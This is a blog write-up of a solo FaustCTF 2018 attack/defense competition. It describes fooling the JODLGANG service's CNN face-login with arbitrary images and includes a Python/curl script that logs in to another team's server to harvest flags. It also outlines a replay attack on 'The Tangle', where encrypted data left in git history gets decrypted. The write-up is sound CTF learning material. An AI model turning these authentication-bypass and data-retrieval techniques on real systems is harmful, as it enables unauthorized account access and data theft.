FaustCTF 2018 was the first attack / defense style CTF for team rmrfslash! Sadly, for this comp rmrfslash consisted of only one member (hi!) because everyone else was either away or busy doing important (?!) other things. This was particularly a challenge given the attack / defense style, but somehow I ended up sticking a First Blood for service ‘JODLGANG’ and held up okay by just keeping the services alive while poking around.
Really the two biggest challenges of flying solo turned out to be lack of hardware – the VM was squeezed in alongside my test copies of code and all attack scripts on just my measly personal laptop – and an acute failure to defend anything at all. The high resource demand of the comp definitely opened up some interesting challenges (blockchain, telephony, CNNs all showed up) but I would say the current requirement of 4 cores and roughly 6GB of memory really maxes out what a team should be expected to provide. Even with a proper team, I’m not sure we could easily have found the extra machine to reliably host all the services, especially in the late game when attacks run rampant. Since the scores except the very top seemed to be dominated by the Service Level Agreement (SLA) component, this unfortunately favors the teams with the extra cash to have that one extra 8-core 32GB desktop kicking around to host the attack / defense infra.
After a quick poke around the VM, I quickly settled on the JODLGANG challenge. It was coded up as a Django app which I had past experience with, and also the core of the functionality seemed quite simple. The Django app was served through nginx at port 8000, and heading over there in a browser showed a narrow set of options. On the about page, we get some info:
This website provides a platform where registered patrons exchange brief notes and organize themselves. Patrons can also save private notes only to be seen by each individual himself. There are 530 active patrons, and registration is closed at the moment. There are several platforms available in different regions. Each of these platforms is maintained by one of our fellow patrons. The local ambassador of this site is Simon Ludwig.
Recently, the JODL GANG platfrom replaced the old password login for a much safer state-of-the-art face authentication system. To sign in, a patron must provide an image of his face alongside his email address. The face image must be a color image of size 224x224 pixels and must not be larger than 1MB.
On the login page, we find the expected “username” and image upload fields:
So how does this image actually authenticate the user? The relevant pieces of code lived in the FaceAuthenticationForm class and the FaceAuthenticationBackend:
class FaceAuthenticationForm(forms.Form):
username = UsernameField(
max_length=254,
widget=forms.TextInput(attrs={'autofocus': True}),
)
face_img = forms.ImageField(label="Face image", required=True)
# ...
def clean(self):
username = self.cleaned_data.get('username')
password = self.data.get('password')
# Reject if face image is missing
if "face_img" not in self.request.FILES: # ...
# Reject if face image is not one of the allowed content types
face_img = self.request.FILES["face_img"]
if face_img.content_type not in {"image/jpeg", "image/png"}: # ...
# Reject large images
if face_img.size > 1024 * 1024: # ...
face_img = face_img.file
if username is not None:
self.user_cache = authenticate(self.request, username=username, password=password, face_img=face_img)
# ...
return self.cleaned_data
and
class FaceAuthenticationBackend(object):
def authenticate(self, request, **kwargs):
# ...
logger.debug("Retrieving face recognition CNN")
cnn = get_face_recognition_cnn()
try:
logger.debug("Converting image to numpy array")
face_img = np.array(Image.open(request.FILES['face_img'])).astype(np.float)
except Exception as e:
logger.error("Exception in face recognition: {} ({})".format(str(e), type(e)))
raise PermissionDenied
if len(face_img.shape) != 3 or face_img.shape[0] != cnn.input_height or face_img.shape[1] != cnn.input_width or face_img.shape[2] != cnn.input_channels:
logger.info("Dimensions mismatch")
raise PermissionDenied
try:
before = time.time()
class_probabilities = cnn.inference(face_img[None, :])[0]
after = time.time()
logger.debug("Inference took {} seconds ...".format(after - before))
most_likely_class = np.argmax(class_probabilities)
logger.error("Most likely class is {}".format(most_likely_class))
if class_probabilities[most_likely_class] <= 0.5 or user.id != most_likely_class:
raise PermissionDenied
return user
except Exception as e:
logger.error("Exception in face recognition: {} ({})".format(str(e), type(e)))
In summary, the image is fed through a CNN after some sanity checks, and we get a list of probabilities out (one per user). The login is accepted if the highest probability is large enough and matches the username given. For some reason the Django shell didn’t interact nicely with the custom User class created for this app, so I ended up using querying the bare sqlite DB to find out the mapping from user emails to IDs.
It was worth quickly checking whether these were real people that CNN was trained on. I spotted the name “Helena Doering” and tried to find a matching image. Closest match was Maria Helena Doering,
and the image gave some other large ID. I tried logging in with the corresponding email maxim.hartmann@jodlgang.com
locally and lo-and-behold had access to the account!
We can view all 0 public notes, and also list private notes, but there are none!
A very quick and dirty attack seemed possible – I can just grab some face-like images, convert to 244x244 and then see which user these correspond to. My thought was that flags would be stored for most users on each server and perhaps I had just missed with this first try. Before I got to trying a second login, I thought to check where on my server these flags were actually going. /srv/jodlgang/jodlgang/jodlgang.log
showed me that every 3 minutes a login was made for just simon.ludwig@jodlgang.com. I only noticed after the fact that this was actually the “local ambassador” listed on every page footer. What I did notice was that the corresponding ID in the log was 8; coincidentally, my team ID! This told me that every user I gained access to by guessing a good image, I had exactly one team that I could exploit if their service was up.
I got really, really, extremely lucky here. My next try was to nab an image of Obama (pardon the injustice done to the aspect ratio),
and by some miracle this corresponded to ID 22 (noel.schuster@jodlgang.com
)… and team 22 had a working JODL GANG instance! Manually hopping on over to their server, I was in!
After a few minutes working with the FaustCTF admins to try to figure out why my flag submission wasn’t working, I started getting in team 22’s flags manually just by staying logged into this account.
At this point, there seemed to be a clear method to exploit all services – if I could just build a database of one image the was classified as each active team ID, then nabbing all flags would be trivial. Since this was the First Blood, nobody else was successfully attacking, so rather than try to fix up the bug I focused on automating the attack first. Using explicit calls out to curl from Python, the following automated exploit starting scoring some points
def attack_impl(ip, email, img):
result = subprocess.check_output('curl %s:8000/login/ -c jodlgang_cookies.txt' % ip, shell=True)
token = None
if "csrfmiddlewaretoken" in result:
token = result.split("name='csrfmiddlewaretoken' value='")[1].split("'")[0]
assert token is not None
print 'Using csrftoken:', token
try:
result = None
result = subprocess.check_output('curl -F "csrfmiddlewaretoken=%s" -F "username=%s" -F "face_img=@/path/to/Downloads/%s" %s:8000/login/ -b jodlgang_cookies.txt -c jodlgang_cookies.txt' % (token, email, img, ip), shell=True)
except subprocess.CalledProcessError:
pass
print result
try:
result = subprocess.check_output('curl %s:8000/personal/ -b jodlgang_cookies.txt -c jodlgang_cookies.txt' % ip, shell=True)
except subprocess.CalledProcessError:
pass
return re.findall(r'FAUST_[A-Za-z0-9/\+]{32}', result)
# Attack the ip and return list of flags
def attack(ip, logfd):
# We have an attack here
if ip == "10.66.22.2":
return attack_impl(ip, "noel.schuster@jodlgang.com", "obama.jpg")
return []
if __name__ == "__main__":
attack_loop(attack, "test")
Then I hoped to quickly grab a few more images to get the points going. I first downloaded a set of (what else?) presidents’ images to see if we got any good hits. Despite grabbing about 10 images, no luck on finding active teams with any of them. Next, I fiddled with small modifications to the Obama picture since that was a faster option than finding and editing more images by hand. That gave a hit! A hue-rotation gave ID 30 (rafael.schmidt@jodlgang.com
):
However, this was about as far as manual experimentation got me.
I knew that there was always the option of exploiting the CNN model, which was explicitly described in the /srv/jodlgang/jodlgang/tensorwow
directory. See, for example, this blog post on just that. However, despite a nice downloadable weights file, the model was described via some custom implementations of convolutional and max-pool layers. Taking the time to translate all of this just to then try to ram 100s of iterations of the CNN through my already-over-worked laptop seemed liable to just make my server flaky and not yield results in the end. Instead, I called it a day on JODL GANG and moved on to looking at other challenges.
It’s worth also mentioning that I never circled back to defending this implementation. Partially this was because I didn’t come up with a good fix. One thought was to retrain a (hopefully smaller) CNN to match just the relevant user. However, there was no real training data. I assumed the gameserver sent slightly modified images over each time, otherwise an exact image check would have solved the problem.
I wanted to drop a few lines on “The Tangle” as well, because I found this challenge quite interesting and thought I had a decent understanding of it, though in the end I ran out of time and energy and didn’t develop an exploit or defense.
At the top level of /srv/the-tangle
we see a data
directory and setup.sh
which contains info on what is going on:
tmpdir=`mktemp -d`
cd $tmpdir
openssl genpkey -algorithm RSA -out /srv/the-tangle/data/key.pem -pkeyopt rsa_keygen_bits:4096
openssl rsa -in /srv/the-tangle/data/key.pem -pubout > key.pub
git clone /srv/the-tangle/data/api
cp key.pub api/
cd api
git add key.pub
git config user.email "the-tangle@the-tangle"
git config user.name "the-tangle"
git commit -m 'genesis commit'
git push
rm -rf $tmpdir
There is some kind of RSA key pair… for some reason … and otherwise we’ve just added the public key to a git repository and sent it upstream. Interestingly, the upstream turns out to be the only other thing in data
besides the private key. So we are hosting a git repo, and that’s about all we see at first glance.
Luckily, I happened to notice /var/log/nginx/the-tangle-access.log
while looking for the access logs for JODL GANG. I knew that nginx was somehow providing a web interface to this service, and the config at /etc/nginx/told us exactly how:
server {
listen *:4563;
root /www/empty/;
index index.html;
server_name $hostname;
access_log /var/log/nginx/the-tangle-access.log;
location ~ /the-tangle(/.*) {
# Set chunks to unlimited, as the bodies can be huge
client_max_body_size 0;
fastcgi_param SCRIPT_FILENAME /usr/lib/git-core/git-http-backend;
include /etc/nginx/fastcgi_params;
fastcgi_param GIT_HTTP_EXPORT_ALL "";
fastcgi_param GIT_PROJECT_ROOT /srv/the-tangle/data/;
fastcgi_param PATH_INFO $1;
# Forward REMOTE_USER as we want to know when we are authenticated
fastcgi_param REMOTE_USER $remote_user;
fastcgi_pass unix:/run/fcgiwrap.socket;
}
}
A quick search of git-http-backend
told me that this was essentially just a way to get http://<ip>:4563/the-tangle/api to act as a git remote for the repo living under data. Cloning my own repository showed some extra files: action, username, password, data. In particular, data seemed to have base64-encoded raw binary. Trying to decrypt with the private key gave me back one of my own flags!
Further, looking through some of the commits, I saw that action seemed to contain one of “register” or “store”. But how were these commands being handled? I looked around the server for anything else that might be watching the git repo, util I ended up looking at the git repo structure itself and remebered that git hooks exist. There was only one modified hook, “update”, with the core behavior of this service.
It begins by checking that the commit has the appropriate vanity tag (“666”):
repo = Repo(os.environ['GIT_DIR'])
if len(repo.branches) == 0:
exit(0)
if not newrev.startswith('666'):
exit(1)
commit = repo.commit(newrev)
Then action is opened at this commit to determine what to do:
tree = commit.tree
action = repo.git.show(tree / 'action')
Register and store are very short, just making sure the right stuff appears in the tree:
if action == 'register':
username = repo.git.show(tree / 'username')
for parent in commit.iter_parents():
if 'action' in parent.tree and repo.git.show(parent.tree / 'action') == 'register' and repo.git.show(parent.tree / 'username') == username:
print('User already exists')
exit(1)
print('Registered user ' + username)
exit(0)
elif action == 'store':
exit(0)
Then comes the interesting bit, the “retrieve” command, which does not appear anywhere in the existing tree. The reason for that is an exit(1)
right at the end. So this acts as a read-only command, never modifying the tree.
elif action == 'retrieve':
account = repo.git.show(tree / 'account')
password = repo.git.show(tree / 'password')
if account:
register_commit = repo.commit(account)
reachable = False
for parent in repo.head.commit.iter_parents():
if parent == register_commit:
reachable = True
break
if reachable:
account_tree = register_commit.tree
account_username = repo.git.show(account_tree / 'username')
account_password = repo.git.show(account_tree / 'password')
if sha256(password).hexdigest() == account_password:
ids = repo.git.show(tree / 'ids').split('\n')
key = RSA.importKey(open(os.path.join(os.environ['GIT_DIR'], '../key.pem')).read())
cipher = PKCS115_Cipher(key)
for id in ids:
data_commit = repo.commit(id)
data_tree = data_commit.tree
if repo.git.show(data_tree / 'username') == account_username:
data = repo.git.show(data_tree / 'data')
data_decrypted = cipher.decrypt(b64decode(data), None)
if '\n' in data_decrypted and account_username == data_decrypted[:data_decrypted.index('\n')]:
print(id + ':' + b64encode(data_decrypted[data_decrypted.index('\n')+1:]))
exit(1)
It seems this checks the following conditions:
account
) is in the master branchids
the username matched the querying usernameIf these are met, then the data
file in each commit in ids
is access, decryped, and printed, presumably giving the gameserver or attacker the set of flags included.
The big attack vector seemed to be that all encrypted data was left in the git history. So despite not being the gameserver, I can find the latest “store” commit, grab the encrypted data, and then register my own user, store this data again, and then retrieve it decrypted. A fix which some teams seemed to successfully implement was to scrub this stored data from the git history after it was retrieved, since the gameserver only ever accessed it once.
Unfortunately, it was around this time in the comp that lots of requests started coming in and many of the “the-tangle” services were down or hard to access. Developing the attack ended up being too annoying, so I didn’t get around to stealing any flags on this one.